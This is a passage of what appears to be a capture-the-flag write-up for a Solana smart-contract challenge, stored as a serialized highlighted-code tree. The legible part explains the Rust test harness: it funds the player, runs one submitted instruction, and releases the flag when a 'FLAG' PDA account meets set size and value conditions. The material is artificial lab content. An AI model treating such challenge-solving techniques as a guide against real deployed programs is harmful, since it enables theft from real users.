32,"value":545},{"type":26,"tag":475,"props":41238,"children":41239},{"class":477,"line":610},[41240,41244,41248,41252,41256,41260,41264,41268],{"type":26,"tag":475,"props":41241,"children":41242},{"style":2375},[41243],{"type":32,"value":40742},{"type":26,"tag":475,"props":41245,"children":41246},{"style":714},[41247],{"type":32,"value":2383},{"type":26,"tag":475,"props":41249,"children":41250},{"style":714},[41251],{"type":32,"value":6854},{"type":26,"tag":475,"props":41253,"children":41254},{"style":2375},[41255],{"type":32,"value":3408},{"type":26,"tag":475,"props":41257,"children":41258},{"style":499},[41259],{"type":32,"value":3440},{"type":26,"tag":475,"props":41261,"children":41262},{"style":903},[41263],{"type":32,"value":40535},{"type":26,"tag":475,"props":41265,"children":41266},{"style":714},[41267],{"type":32,"value":2757},{"type":26,"tag":475,"props":41269,"children":41270},{"style":499},[41271],{"type":32,"value":31274},{"type":26,"tag":475,"props":41273,"children":41274},{"class":477,"line":650},[41275],{"type":26,"tag":475,"props":41276,"children":41277},{"emptyLinePlaceholder":18},[41278],{"type":32,"value":545},{"type":26,"tag":475,"props":41280,"children":41281},{"class":477,"line":679},[41282,41286,41290,41294,41298,41302,41306,41310,41314,41318,41322,41326,41330,41334,41338,41342,41346,41350,41354,41358,41362,41366,41370,41374,41378,41382,41386,41390,41394],{"type":26,"tag":475,"props":41283,"children":41284},{"style":482},[41285],{"type":32,"value":2770},{"type":26,"tag":475,"props":41287,"children":41288},{"style":2375},[41289],{"type":32,"value":13564},{"type":26,"tag":475,"props":41291,"children":41292},{"style":714},[41293],{"type":32,"value":2383},{"type":26,"tag":475,"props":41295,"children":41296},{"style":499},[41297],{"type":32,"value":40343},{"type":26,"tag":475,"props":41299,"children":41300},{"style":714},[41301],{"type":32,"value":3187},{"type":26,"tag":475,"props":41303,"children":41304},{"style":499},[41305],{"type":32,"value":40352},{"type":26,"tag":475,"props":41307,"children":41308},{"style":714},[41309],{"type":32,"value":3187},{"type":26,"tag":475,"props":41311,"children":41312},{"style":493},[41313],{"type":32,"value":40361},{"type":26,"tag":475,"props":41315,"children":41316},{"style":714},[41317],{"type":32,"value":3187},{"type":26,"tag":475,"props":41319,"children":41320},{"style":499},[41321],{"type":32,"value":40370},{"type":26,"tag":475,"props":41323,"children":41324},{"style":505},[41325],{"type":32,"value":3127},{"type":26,"tag":475,"props":41327,"children":41328},{"style":499},[41329],{"type":32,"value":16933},{"type":26,"tag":475,"props":41331,"children":41332},{"style":903},[41333],{"type":32,"value":3786},{"type":26,"tag":475,"props":41335,"children":41336},{"style":499},[41337],{"type":32,"value":22769},{"type":26,"tag":475,"props":41339,"children":41340},{"style":482},[41341],{"type":32,"value":19974},{"type":26,"tag":475,"props":41343,"children":41344},{"style":499},[41345],{"type":32,"value":626},{"type":26,"tag":475,"props":41347,"children":41348},{"style":505},[41349],{"type":32,"value":7753},{"type":26,"tag":475,"props":41351,"children":41352},{"style":499},[41353],{"type":32,"value":41051},{"type":26,"tag":475,"props":41355,"children":41356},{"style":2375},[41357],{"type":32,"value":3408},{"type":26,"tag":475,"props":41359,"children":41360},{"style":499},[41361],{"type":32,"value":3440},{"type":26,"tag":475,"props":41363,"children":41364},{"style":714},[41365],{"type":32,"value":2757},{"type":26,"tag":475,"props":41367,"children":41368},{"style":903},[41369],{"type":32,"value":3786},{"type":26,"tag":475,"props":41371,"children":41372},{"style":499},[41373],{"type":32,"value":15117},{"type":26,"tag":475,"props":41375,"children":41376},{"style":714},[41377],{"type":32,"value":353},{"type":26,"tag":475,"props":41379,"children":41380},{"style":493},[41381],{"type":32,"value":25863},{"type":26,"tag":475,"props":41383,"children":41384},{"style":499},[41385],{"type":32,"value":13586},{"type":26,"tag":475,"props":41387,"children":41388},{"style":714},[41389],{"type":32,"value":353},{"type":26,"tag":475,"props":41391,"children":41392},{"style":493},[41393],{"type":32,"value":3371},{"type":26,"tag":475,"props":41395,"children":41396},{"style":499},[41397],{"type":32,"value":2494},{"type":26,"tag":475,"props":41399,"children":41400},{"class":477,"line":735},[41401,41405,41409,41413,41417,41421,41425,41429,41433,41437,41441,41445,41449,41453,41457,41461,41465,41469,41473,41477,41481,41485,41489,41493,41497,41501,41505,41509],{"type":26,"tag":475,"props":41402,"children":41403},{"style":482},[41404],{"type":32,"value":2770},{"type":26,"tag":475,"props":41406,"children":41407},{"style":2375},[41408],{"type":32,"value":40458},{"type":26,"tag":475,"props":41410,"children":41411},{"style":714},[41412],{"type":32,"value":2383},{"type":26,"tag":475,"props":41414,"children":41415},{"style":499},[41416],{"type":32,"value":40343},{"type":26,"tag":475,"props":41418,"children":41419},{"style":714},[41420],{"type":32,"value":3187},{"type":26,"tag":475,"props":41422,"children":41423},{"style":499},[41424],{"type":32,"value":40352},{"type":26,"tag":475,"props":41426,"children":41427},{"style":714},[41428],{"type":32,"value":3187},{"type":26,"tag":475,"props":41430,"children":41431},{"style":493},[41432],{"type":32,"value":40361},{"type":26,"tag":475,"props":41434,"children":41435},{"style":714},[41436],{"type":32,"value":3187},{"type":26,"tag":475,"props":41438,"children":41439},{"style":499},[41440],{"type":32,"value":40370},{"type":26,"tag":475,"props":41442,"children":41443},{"style":505},[41444],{"type":32,"value":3127},{"type":26,"tag":475,"props":41446,"children":41447},{"style":499},[41448],{"type":32,"value":16933},{"type":26,"tag":475,"props":41450,"children":41451},{"style":903},[41452],{"type":32,"value":3786},{"type":26,"tag":475,"props":41454,"children":41455},{"style":499},[41456],{"type":32,"value":22769},{"type":26,"tag":475,"props":41458,"children":41459},{"style":505},[41460],{"type":32,"value":7753},{"type":26,"tag":475,"props":41462,"children":41463},{"style":499},[41464],{"type":32,"value":7323},{"type":26,"tag":475,"props":41466,"children":41467},{"style":2375},[41468],{"type":32,"value":3408},{"type":26,"tag":475,"props":41470,"children":41471},{"style":499},[41472],{"type":32,"value":3440},{"type":26,"tag":475,"props":41474,"children":41475},{"style":903},[41476],{"type":32,"value":3786},{"type":26,"tag":475,"props":41478,"children":41479},{"style":714},[41480],{"type":32,"value":2757},{"type":26,"tag":475,"props":41482,"children":41483},{"style":903},[41484],{"type":32,"value":40535},{"type":26,"tag":475,"props":41486,"children":41487},{"style":499},[41488],{"type":32,"value":15117},{"type":26,"tag":475,"props":41490,"children":41491},{"style":714},[41492],{"type":32,"value":353},{"type":26,"tag":475,"props":41494,"children":41495},{"style":493},[41496],{"type":32,"value":25863},{"type":26,"tag":475,"props":41498,"children":41499},{"style":499},[41500],{"type":32,"value":13586},{"type":26,"tag":475,"props":41502,"children":41503},{"style":714},[41504],{"type":32,"value":353},{"type":26,"tag":475,"props":41506,"children":41507},{"style":493},[41508],{"type":32,"value":3371},{"type":26,"tag":475,"props":41510,"children":41511},{"style":499},[41512],{"type":32,"value":2494},{"type":26,"tag":475,"props":41514,"children":41515},{"class":477,"line":744},[41516,41520,41524,41528],{"type":26,"tag":475,"props":41517,"children":41518},{"style":493},[41519],{"type":32,"value":40571},{"type":26,"tag":475,"props":41521,"children":41522},{"style":499},[41523],{"type":32,"value":626},{"type":26,"tag":475,"props":41525,"children":41526},{"style":2375},[41527],{"type":32,"value":12340},{"type":26,"tag":475,"props":41529,"children":41530},{"style":499},[41531],{"type":32,"value":3533},{"type":26,"tag":475,"props":41533,"children":41534},{"class":477,"line":753},[41535],{"type":26,"tag":475,"props":41536,"children":41537},{"style":499},[41538],{"type":32,"value":851},{"type":26,"tag":475,"props":41540,"children":41541},{"class":477,"line":761},[41542],{"type":26,"tag":475,"props":41543,"children":41544},{"style":499},[41545],{"type":32,"value":3607},{"type":26,"tag":41,"props":41547,"children":41549},{"id":41548},"test-environment",[41550],{"type":32,"value":41551},"Test Environment",{"type":26,"tag":35,"props":41553,"children":41554},{},[41555],{"type":32,"value":41556},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":26,"tag":35,"props":41558,"children":41559},{},[41560,41562,41568],{"type":32,"value":41561},"When you connect to the server through a tcp connection, ",{"type":26,"tag":53,"props":41563,"children":41565},{"className":41564},[],[41566],{"type":32,"value":41567},"framework/src/main.rs::handle_connection",{"type":32,"value":41569}," gets executed, which does the following:",{"type":26,"tag":181,"props":41571,"children":41572},{},[41573],{"type":26,"tag":86,"props":41574,"children":41575},{},[41576],{"type":32,"value":41577},"Creates a new Solana local node",{"type":26,"tag":465,"props":41579,"children":41581},{"className":2685,"code":41580,"language":2684,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41582],{"type":26,"tag":53,"props":41583,"children":41584},{"__ignoreMap":7},[41585,41666,41742],{"type":26,"tag":475,"props":41586,"children":41587},{"class":477,"line":478},[41588,41592,41596,41601,41605,41610,41614,41619,41623,41628,41632,41637,41641,41645,41649,41654,41658,41662],{"type":26,"tag":475,"props":41589,"children":41590},{"style":482},[41591],{"type":32,"value":11496},{"type":26,"tag":475,"props":41593,"children":41594},{"style":482},[41595],{"type":32,"value":2710},{"type":26,"tag":475,"props":41597,"children":41598},{"style":2375},[41599],{"type":32,"value":41600}," builder",{"type":26,"tag":475,"props":41602,"children":41603},{"style":714},[41604],{"type":32,"value":2383},{"type":26,"tag":475,"props":41606,"children":41607},{"style":505},[41608],{"type":32,"value":41609}," ChallengeBuilder",{"type":26,"tag":475,"props":41611,"children":41612},{"style":714},[41613],{"type":32,"value":3187},{"type":26,"tag":475,"props":41615,"children":41616},{"style":493},[41617],{"type":32,"value":41618},"try_from",{"type":26,"tag":475,"props":41620,"children":41621},{"style":499},[41622],{"type":32,"value":626},{"type":26,"tag":475,"props":41624,"children":41625},{"style":2375},[41626],{"type":32,"value":41627},"socket",{"type":26,"tag":475,"props":41629,"children":41630},{"style":714},[41631],{"type":32,"value":353},{"type":26,"tag":475,"props":41633,"children":41634},{"style":493},[41635],{"type":32,"value":41636},"try_clone",{"type":26,"tag":475,"props":41638,"children":41639},{"style":499},[41640],{"type":32,"value":13586},{"type":26,"tag":475,"props":41642,"children":41643},{"style":714},[41644],{"type":32,"value":353},{"type":26,"tag":475,"props":41646,"children":41647},{"style":493},[41648],{"type":32,"value":3371},{"type":26,"tag":475,"props":41650,"children":41651},{"style":499},[41652],{"type":32,"value":41653},"())",{"type":26,"tag":475,"props":41655,"children":41656},{"style":714},[41657],{"type":32,"value":353},{"type":26,"tag":475,"props":41659,"children":41660},{"style":493},[41661],{"type":32,"value":3371},{"type":26,"tag":475,"props":41663,"children":41664},{"style":499},[41665],{"type":32,"value":3376},{"type":26,"tag":475,"props":41667,"children":41668},{"class":477,"line":516},[41669,41674,41678,41683,41687,41692,41696,41701,41705,41710,41715,41719,41724,41728,41733,41737],{"type":26,"tag":475,"props":41670,"children":41671},{"style":493},[41672],{"type":32,"value":41673},"assert!",{"type":26,"tag":475,"props":41675,"children":41676},{"style":499},[41677],{"type":32,"value":626},{"type":26,"tag":475,"props":41679,"children":41680},{"style":2375},[41681],{"type":32,"value":41682},"builder",{"type":26,"tag":475,"props":41684,"children":41685},{"style":714},[41686],{"type":32,"value":353},{"type":26,"tag":475,"props":41688,"children":41689},{"style":493},[41690],{"type":32,"value":41691},"add_program",{"type":26,"tag":475,"props":41693,"children":41694},{"style":499},[41695],{"type":32,"value":626},{"type":26,"tag":475,"props":41697,"children":41698},{"style":629},[41699],{"type":32,"value":41700},"\"/path/to/chall.so\"",{"type":26,"tag":475,"props":41702,"children":41703},{"style":499},[41704],{"type":32,"value":637},{"type":26,"tag":475,"props":41706,"children":41707},{"style":505},[41708],{"type":32,"value":41709},"Some",{"type":26,"tag":475,"props":41711,"children":41712},{"style":499},[41713],{"type":32,"value":41714},"(chall",{"type":26,"tag":475,"props":41716,"children":41717},{"style":714},[41718],{"type":32,"value":3187},{"type":26,"tag":475,"props":41720,"children":41721},{"style":499},[41722],{"type":32,"value":41723},"ID)) ",{"type":26,"tag":475,"props":41725,"children":41726},{"style":714},[41727],{"type":32,"value":8287},{"type":26,"tag":475,"props":41729,"children":41730},{"style":499},[41731],{"type":32,"value":41732}," chall",{"type":26,"tag":475,"props":41734,"children":41735},{"style":714},[41736],{"type":32,"value":3187},{"type":26,"tag":475,"props":41738,"children":41739},{"style":499},[41740],{"type":32,"value":41741},"ID);\n",{"type":26,"tag":475,"props":41743,"children":41744},{"class":477,"line":539},[41745,41749,41753,41757,41761,41765,41769,41774,41778,41782,41786],{"type":26,"tag":475,"props":41746,"children":41747},{"style":482},[41748],{"type":32,"value":11496},{"type":26,"tag":475,"props":41750,"children":41751},{"style":482},[41752],{"type":32,"value":2710},{"type":26,"tag":475,"props":41754,"children":41755},{"style":2375},[41756],{"type":32,"value":41732},{"type":26,"tag":475,"props":41758,"children":41759},{"style":714},[41760],{"type":32,"value":2383},{"type":26,"tag":475,"props":41762,"children":41763},{"style":2375},[41764],{"type":32,"value":41600},{"type":26,"tag":475,"props":41766,"children":41767},{"style":714},[41768],{"type":32,"value":353},{"type":26,"tag":475,"props":41770,"children":41771},{"style":493},[41772],{"type":32,"value":41773},"build",{"type":26,"tag":475,"props":41775,"children":41776},{"style":499},[41777],{"type":32,"value":13586},{"type":26,"tag":475,"props":41779,"children":41780},{"style":714},[41781],{"type":32,"value":353},{"type":26,"tag":475,"props":41783,"children":41784},{"style":586},[41785],{"type":32,"value":2476},{"type":26,"tag":475,"props":41787,"children":41788},{"style":499},[41789],{"type":32,"value":2729},{"type":26,"tag":181,"props":41791,"children":41792},{"start":516},[41793],{"type":26,"tag":86,"props":41794,"children":41795},{},[41796],{"type":32,"value":41797},"Funds the user account with 100 SOL",{"type":26,"tag":465,"props":41799,"children":41801},{"className":2685,"code":41800,"language":2684,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[41802],{"type":26,"tag":53,"props":41803,"children":41804},{"__ignoreMap":7},[41805,41838,41870,41877,41919,41951,41958,41966,42030,42049,42056],{"type":26,"tag":475,"props":41806,"children":41807},{"class":477,"line":478},[41808,41812,41817,41821,41826,41830,41834],{"type":26,"tag":475,"props":41809,"children":41810},{"style":482},[41811],{"type":32,"value":11496},{"type":26,"tag":475,"props":41813,"children":41814},{"style":2375},[41815],{"type":32,"value":41816}," user_keypair",{"type":26,"tag":475,"props":41818,"children":41819},{"style":714},[41820],{"type":32,"value":2383},{"type":26,"tag":475,"props":41822,"children":41823},{"style":505},[41824],{"type":32,"value":41825}," Keypair",{"type":26,"tag":475,"props":41827,"children":41828},{"style":714},[41829],{"type":32,"value":3187},{"type":26,"tag":475,"props":41831,"children":41832},{"style":493},[41833],{"type":32,"value":14828},{"type":26,"tag":475,"props":41835,"children":41836},{"style":499},[41837],{"type":32,"value":3376},{"type":26,"tag":475,"props":41839,"children":41840},{"class":477,"line":516},[41841,41845,41850,41854,41858,41862,41866],{"type":26,"tag":475,"props":41842,"children":41843},{"style":482},[41844],{"type":32,"value":11496},{"type":26,"tag":475,"props":41846,"children":41847},{"style":2375},[41848],{"type":32,"value":41849}," user",{"type":26,"tag":475,"props":41851,"children":41852},{"style":714},[41853],{"type":32,"value":2383},{"type":26,"tag":475,"props":41855,"children":41856},{"style":2375},[41857],{"type":32,"value":41816},{"type":26,"tag":475,"props":41859,"children":41860},{"style":714},[41861],{"type":32,"value":353},{"type":26,"tag":475,"props":41863,"children":41864},{"style":493},[41865],{"type":32,"value":3250},{"type":26,"tag":475,"props":41867,"children":41868},{"style":499},[41869],{"type":32,"value":3376},{"type":26,"tag":475,"props":41871,"children":41872},{"class":477,"line":539},[41873],{"type":26,"tag":475,"props":41874,"children":41875},{"emptyLinePlaceholder":18},[41876],{"type":32,"value":545},{"type":26,"tag":475,"props":41878,"children":41879},{"class":477,"line":548},[41880,41884,41889,41893,41897,41902,41906,41910,41914],{"type":26,"tag":475,"props":41881,"children":41882},{"style":482},[41883],{"type":32,"value":11496},{"type":26,"tag":475,"props":41885,"children":41886},{"style":2375},[41887],{"type":32,"value":41888}," payer_keypair",{"type":26,"tag":475,"props":41890,"children":41891},{"style":714},[41892],{"type":32,"value":2383},{"type":26,"tag":475,"props":41894,"children":41895},{"style":714},[41896],{"type":32,"value":6854},{"type":26,"tag":475,"props":41898,"children":41899},{"style":2375},[41900],{"type":32,"value":41901},"chall",{"type":26,"tag":475,"props":41903,"children":41904},{"style":714},[41905],{"type":32,"value":353},{"type":26,"tag":475,"props":41907,"children":41908},{"style":499},[41909],{"type":32,"value":19988},{"type":26,"tag":475,"props":41911,"children":41912},{"style":714},[41913],{"type":32,"value":353},{"type":26,"tag":475,"props":41915,"children":41916},{"style":499},[41917],{"type":32,"value":41918},"payer;\n",{"type":26,"tag":475,"props":41920,"children":41921},{"class":477,"line":558},[41922,41926,41931,41935,41939,41943,41947],{"type":26,"tag":475,"props":41923,"children":41924},{"style":482},[41925],{"type":32,"value":11496},{"type":26,"tag":475,"props":41927,"children":41928},{"style":2375},[41929],{"type":32,"value":41930}," payer",{"type":26,"tag":475,"props":41932,"children":41933},{"style":714},[41934],{"type":32,"value":2383},{"type":26,"tag":475,"props":41936,"children":41937},{"style":2375},[41938],{"type":32,"value":41888},{"type":26,"tag":475,"props":41940,"children":41941},{"style":714},[41942],{"type":32,"value":353},{"type":26,"tag":475,"props":41944,"children":41945},{"style":493},[41946],{"type":32,"value":3250},{"type":26,"tag":475,"props":41948,"children":41949},{"style":499},[41950],{"type":32,"value":3376},{"type":26,"tag":475,"props":41952,"children":41953},{"class":477,"line":582},[41954],{"type":26,"tag":475,"props":41955,"children":41956},{"emptyLinePlaceholder":18},[41957],{"type":32,"value":545},{"type":26,"tag":475,"props":41959,"children":41960},{"class":477,"line":596},[41961],{"type":26,"tag":475,"props":41962,"children":41963},{"style":2375},[41964],{"type":32,"value":41965},"chall\n",{"type":26,"tag":475,"props":41967,"children":41968},{"class":477,"line":610},[41969,41974,41979,41984,41988,41992,41996,42000,42005,42009,42013,42017,42021,42026],{"type":26,"tag":475,"props":41970,"children":41971},{"style":714},[41972],{"type":32,"value":41973}," .",{"type":26,"tag":475,"props":41975,"children":41976},{"style":493},[41977],{"type":32,"value":41978},"run_ix",{"type":26,"tag":475,"props":41980,"children":41981},{"style":499},[41982],{"type":32,"value":41983},"(system_instruction",{"type":26,"tag":475,"props":41985,"children":41986},{"style":714},[41987],{"type":32,"value":3187},{"type":26,"tag":475,"props":41989,"children":41990},{"style":493},[41991],{"type":32,"value":31823},{"type":26,"tag":475,"props":41993,"children":41994},{"style":499},[41995],{"type":32,"value":626},{"type":26,"tag":475,"props":41997,"children":41998},{"style":714},[41999],{"type":32,"value":2816},{"type":26,"tag":475,"props":42001,"children":42002},{"style":2375},[42003],{"type":32,"value":42004},"payer",{"type":26,"tag":475,"props":42006,"children":42007},{"style":499},[42008],{"type":32,"value":637},{"type":26,"tag":475,"props":42010,"children":42011},{"style":714},[42012],{"type":32,"value":2816},{"type":26,"tag":475,"props":42014,"children":42015},{"style":2375},[42016],{"type":32,"value":19940},{"type":26,"tag":475,"props":42018,"children":42019},{"style":499},[42020],{"type":32,"value":637},{"type":26,"tag":475,"props":42022,"children":42023},{"style":903},[42024],{"type":32,"value":42025},"100_000_000_000",{"type":26,"tag":475,"props":42027,"children":42028},{"style":499},[42029],{"type":32,"value":1510},{"type":26,"tag":475,"props":42031,"children":42032},{"class":477,"line":650},[42033,42037,42041,42045],{"type":26,"tag":475,"props":42034,"children":42035},{"style":714},[42036],{"type":32,"value":41973},{"type":26,"tag":475,"props":42038,"children":42039},{"style":586},[42040],{"type":32,"value":2476},{"type":26,"tag":475,"props":42042,"children":42043},{"style":714},[42044],{"type":32,"value":2863},{"type":26,"tag":475,"props":42046,"children":42047},{"style":499},[42048],{"type":32,"value":2729},{"type":26,"tag":475,"props":42050,"children":42051},{"class":477,"line":679},[42052],{"type":26,"tag":475,"props":42053,"children":42054},{"emptyLinePlaceholder":18},[42055],{"type":32,"value":545},{"type":26,"tag":475,"props":42057,"children":42058},{"class":477,"line":735},[42059,42064,42068,42072,42076,42081,42085,42089,42093,42097],{"type":26,"tag":475,"props":42060,"children":42061},{"style":493},[42062],{"type":32,"value":42063},"writeln!",{"type":26,"tag":475,"props":42065,"children":42066},{"style":499},[42067],{"type":32,"value":626},{"type":26,"tag":475,"props":42069,"children":42070},{"style":2375},[42071],{"type":32,"value":41627},{"type":26,"tag":475,"props":42073,"children":42074},{"style":499},[42075],{"type":32,"value":637},{"type":26,"tag":475,"props":42077,"children":42078},{"style":629},[42079],{"type":32,"value":42080},"\"user: {}\"",{"type":26,"tag":475,"props":42082,"children":42083},{"style":499},[42084],{"type":32,"value":637},{"type":26,"tag":475,"props":42086,"children":42087},{"style":2375},[42088],{"type":32,"value":19940},{"type":26,"tag":475,"props":42090,"children":42091},{"style":499},[42092],{"type":32,"value":2835},{"type":26,"tag":475,"props":42094,"children":42095},{"style":714},[42096],{"type":32,"value":2863},{"type":26,"tag":475,"props":42098,"children":42099},{"style":499},[42100],{"type":32,"value":2729},{"type":26,"tag":181,"props":42102,"children":42103},{"start":539},[42104],{"type":26,"tag":86,"props":42105,"children":42106},{},[42107],{"type":32,"value":42108},"Reads an instruction from the tcp stream and executes it",{"type":26,"tag":465,"props":42110,"children":42112},{"className":2685,"code":42111,"language":2684,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[42113],{"type":26,"tag":53,"props":42114,"children":42115},{"__ignoreMap":7},[42116,42166],{"type":26,"tag":475,"props":42117,"children":42118},{"class":477,"line":478},[42119,42123,42128,42132,42136,42140,42145,42149,42153,42158,42162],{"type":26,"tag":475,"props":42120,"children":42121},{"style":482},[42122],{"type":32,"value":11496},{"type":26,"tag":475,"props":42124,"children":42125},{"style":2375},[42126],{"type":32,"value":42127}," solve_ix",{"type":26,"tag":475,"props":42129,"children":42130},{"style":714},[42131],{"type":32,"value":2383},{"type":26,"tag":475,"props":42133,"children":42134},{"style":2375},[42135],{"type":32,"value":41732},{"type":26,"tag":475,"props":42137,"children":42138},{"style":714},[42139],{"type":32,"value":353},{"type":26,"tag":475,"props":42141,"children":42142},{"style":493},[42143],{"type":32,"value":42144},"read_instruction",{"type":26,"tag":475,"props":42146,"children":42147},{"style":499},[42148],{"type":32,"value":41714},{"type":26,"tag":475,"props":42150,"children":42151},{"style":714},[42152],{"type":32,"value":3187},{"type":26,"tag":475,"props":42154,"children":42155},{"style":499},[42156],{"type":32,"value":42157},"ID)",{"type":26,"tag":475,"props":42159,"children":42160},{"style":714},[42161],{"type":32,"value":2863},{"type":26,"tag":475,"props":42163,"children":42164},{"style":499},[42165],{"type":32,"value":2729},{"type":26,"tag":475,"props":42167,"children":42168},{"class":477,"line":516},[42169,42173,42177,42182,42186,42190,42194,42199,42203,42207,42211,42215,42220,42224,42228,42232,42236,42240,42244,42248],{"type":26,"tag":475,"props":42170,"children":42171},{"style":2375},[42172],{"type":32,"value":41901},{"type":26,"tag":475,"props":42174,"children":42175},{"style":714},[42176],{"type":32,"value":353},{"type":26,"tag":475,"props":42178,"children":42179},{"style":493},[42180],{"type":32,"value":42181},"run_ixs_full",{"type":26,"tag":475,"props":42183,"children":42184},{"style":499},[42185],{"type":32,"value":626},{"type":26,"tag":475,"props":42187,"children":42188},{"style":714},[42189],{"type":32,"value":2816},{"type":26,"tag":475,"props":42191,"children":42192},{"style":499},[42193],{"type":32,"value":3440},{"type":26,"tag":475,"props":42195,"children":42196},{"style":2375},[42197],{"type":32,"value":42198},"solve_ix",{"type":26,"tag":475,"props":42200,"children":42201},{"style":499},[42202],{"type":32,"value":22769},{"type":26,"tag":475,"props":42204,"children":42205},{"style":714},[42206],{"type":32,"value":2816},{"type":26,"tag":475,"props":42208,"children":42209},{"style":499},[42210],{"type":32,"value":3440},{"type":26,"tag":475,"props":42212,"children":42213},{"style":714},[42214],{"type":32,"value":2816},{"type":26,"tag":475,"props":42216,"children":42217},{"style":2375},[42218],{"type":32,"value":42219},"user_keypair",{"type":26,"tag":475,"props":42221,"children":42222},{"style":499},[42223],{"type":32,"value":22769},{"type":26,"tag":475,"props":42225,"children":42226},{"style":714},[42227],{"type":32,"value":2816},{"type":26,"tag":475,"props":42229,"children":42230},{"style":2375},[42231],{"type":32,"value":19940},{"type":26,"tag":475,"props":42233,"children":42234},{"style":499},[42235],{"type":32,"value":2835},{"type":26,"tag":475,"props":42237,"children":42238},{"style":714},[42239],{"type":32,"value":353},{"type":26,"tag":475,"props":42241,"children":42242},{"style":586},[42243],{"type":32,"value":2476},{"type":26,"tag":475,"props":42245,"children":42246},{"style":714},[42247],{"type":32,"value":2863},{"type":26,"tag":475,"props":42249,"children":42250},{"style":499},[42251],{"type":32,"value":2729},{"type":26,"tag":181,"props":42253,"children":42254},{"start":548},[42255],{"type":26,"tag":86,"props":42256,"children":42257},{},[42258],{"type":32,"value":42259},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":26,"tag":465,"props":42261,"children":42263},{"className":2685,"code":42262,"language":2684,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[42264],{"type":26,"tag":53,"props":42265,"children":42266},{"__ignoreMap":7},[42267,42351,42442,42483,42567,42574,42611,42668,42713,42728,42764,42771,42778],{"type":26,"tag":475,"props":42268,"children":42269},{"class":477,"line":478},[42270,42274,42279,42283,42287,42291,42296,42300,42304,42308,42313,42317,42322,42327,42331,42335,42339,42343,42347],{"type":26,"tag":475,"props":42271,"children":42272},{"style":482},[42273],{"type":32,"value":11496},{"type":26,"tag":475,"props":42275,"children":42276},{"style":2375},[42277],{"type":32,"value":42278}," flag",{"type":26,"tag":475,"props":42280,"children":42281},{"style":714},[42282],{"type":32,"value":2383},{"type":26,"tag":475,"props":42284,"children":42285},{"style":505},[42286],{"type":32,"value":20565},{"type":26,"tag":475,"props":42288,"children":42289},{"style":714},[42290],{"type":32,"value":3187},{"type":26,"tag":475,"props":42292,"children":42293},{"style":493},[42294],{"type":32,"value":42295},"create_program_address",{"type":26,"tag":475,"props":42297,"children":42298},{"style":499},[42299],{"type":32,"value":626},{"type":26,"tag":475,"props":42301,"children":42302},{"style":714},[42303],{"type":32,"value":2816},{"type":26,"tag":475,"props":42305,"children":42306},{"style":499},[42307],{"type":32,"value":3440},{"type":26,"tag":475,"props":42309,"children":42310},{"style":629},[42311],{"type":32,"value":42312},"\"FLAG\"",{"type":26,"tag":475,"props":42314,"children":42315},{"style":714},[42316],{"type":32,"value":353},{"type":26,"tag":475,"props":42318,"children":42319},{"style":493},[42320],{"type":32,"value":42321},"as_ref",{"type":26,"tag":475,"props":42323,"children":42324},{"style":499},[42325],{"type":32,"value":42326},"()], ",{"type":26,"tag":475,"props":42328,"children":42329},{"style":714},[42330],{"type":32,"value":2816},{"type":26,"tag":475,"props":42332,"children":42333},{"style":499},[42334],{"type":32,"value":41901},{"type":26,"tag":475,"props":42336,"children":42337},{"style":714},[42338],{"type":32,"value":3187},{"type":26,"tag":475,"props":42340,"children":42341},{"style":499},[42342],{"type":32,"value":42157},{"type":26,"tag":475,"props":42344,"children":42345},{"style":714},[42346],{"type":32,"value":2863},{"type":26,"tag":475,"props":42348,"children":42349},{"style":499},[42350],{"type":32,"value":2729},{"type":26,"tag":475,"props":42352,"children":42353},{"class":477,"line":516},[42354,42358,42362,42366,42370,42375,42379,42383,42387,42391,42395,42399,42404,42408,42413,42417,42422,42426,42430,42434,42438],{"type":26,"tag":475,"props":42355,"children":42356},{"style":586},[42357],{"type":32,"value":15285},{"type":26,"tag":475,"props":42359,"children":42360},{"style":482},[42361],{"type":32,"value":27006},{"type":26,"tag":475,"props":42363,"children":42364},{"style":505},[42365],{"type":32,"value":27011},{"type":26,"tag":475,"props":42367,"children":42368},{"style":499},[42369],{"type":32,"value":626},{"type":26,"tag":475,"props":42371,"children":42372},{"style":2375},[42373],{"type":32,"value":42374},"acct",{"type":26,"tag":475,"props":42376,"children":42377},{"style":499},[42378],{"type":32,"value":2794},{"type":26,"tag":475,"props":42380,"children":42381},{"style":714},[42382],{"type":32,"value":786},{"type":26,"tag":475,"props":42384,"children":42385},{"style":2375},[42386],{"type":32,"value":41732},{"type":26,"tag":475,"props":42388,"children":42389},{"style":714},[42390],{"type":32,"value":353},{"type":26,"tag":475,"props":42392,"children":42393},{"style":499},[42394],{"type":32,"value":19988},{"type":26,"tag":475,"props":42396,"children":42397},{"style":714},[42398],{"type":32,"value":353},{"type":26,"tag":475,"props":42400,"children":42401},{"style":499},[42402],{"type":32,"value":42403},"banks_client",{"type":26,"tag":475,"props":42405,"children":42406},{"style":714},[42407],{"type":32,"value":353},{"type":26,"tag":475,"props":42409,"children":42410},{"style":493},[42411],{"type":32,"value":42412},"get_account",{"type":26,"tag":475,"props":42414,"children":42415},{"style":499},[42416],{"type":32,"value":626},{"type":26,"tag":475,"props":42418,"children":42419},{"style":2375},[42420],{"type":32,"value":42421},"flag",{"type":26,"tag":475,"props":42423,"children":42424},{"